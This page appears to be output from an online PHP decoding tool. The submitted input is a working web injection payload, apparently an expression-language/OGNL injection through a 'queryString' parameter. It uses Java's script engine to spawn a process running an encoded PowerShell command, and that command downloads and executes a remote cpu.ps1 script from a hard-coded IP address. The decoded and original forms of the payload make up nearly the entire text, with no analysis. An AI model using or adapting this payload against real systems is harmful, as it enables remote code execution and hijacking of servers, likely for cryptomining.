Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
queryString=\u0027%2b#{\u0022\u0022[\u0022class\u0022].forName(\u0022javax.script.ScriptEn..
Decoded Output download
<? queryString='%2b#{""["class"].forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("var isWin=java.lang.System.getProperty('os.name').toLowerCase().contains('win');var p=new java.lang.ProcessBuilder;if(isWin){p.command(['cmd.exe','/c','powershell -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAYwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADEAOAAuADEAMAA3AC4AMQA2ADMALgA4ADMAOgA4ADAAOQAwAC8AZABvAGMAcwAvAGMAcAB1AC4AcABzADEAJwApAA==']);}else{p.command(['/bin/bash','-c','powershell -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAYwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADEAOAAuADEAMAA3AC4AMQA2ADMALgA4ADMAOgA4ADAAOQAwAC8AZABvAGMAcwAvAGMAcAB1AC4AcABzADEAJwApAA==']);}p.redirectErrorStream(true);var pc=p.start();org.apache.commons.io.IOUtils.toString(pc.getInputStream())")}%2b' ?>
Did this file decode correctly?
Original Code
queryString=\u0027%2b#{\u0022\u0022[\u0022class\u0022].forName(\u0022javax.script.ScriptEngineManager\u0022).newInstance().getEngineByName(\u0022js\u0022).eval(\u0022var isWin=java.lang.System.getProperty(\u0027os.name\u0027).toLowerCase().contains(\u0027win\u0027);var p=new java.lang.ProcessBuilder;if(isWin){p.command([\u0027cmd.exe\u0027,\u0027/c\u0027,\u0027powershell -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAYwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADEAOAAuADEAMAA3AC4AMQA2ADMALgA4ADMAOgA4ADAAOQAwAC8AZABvAGMAcwAvAGMAcAB1AC4AcABzADEAJwApAA==\u0027]);}else{p.command([\u0027/bin/bash\u0027,\u0027-c\u0027,\u0027powershell -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAYwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADEAOAAuADEAMAA3AC4AMQA2ADMALgA4ADMAOgA4ADAAOQAwAC8AZABvAGMAcwAvAGMAcAB1AC4AcABzADEAJwApAA==\u0027]);}p.redirectErrorStream(true);var pc=p.start();org.apache.commons.io.IOUtils.toString(pc.getInputStream())\u0022)}%2b\u0027
Function Calls
| None |
Stats
| MD5 | a538ccb05b8c54949ed921c1463b8d5d |
| Eval Count | 0 |
| Decode Time | 44 ms |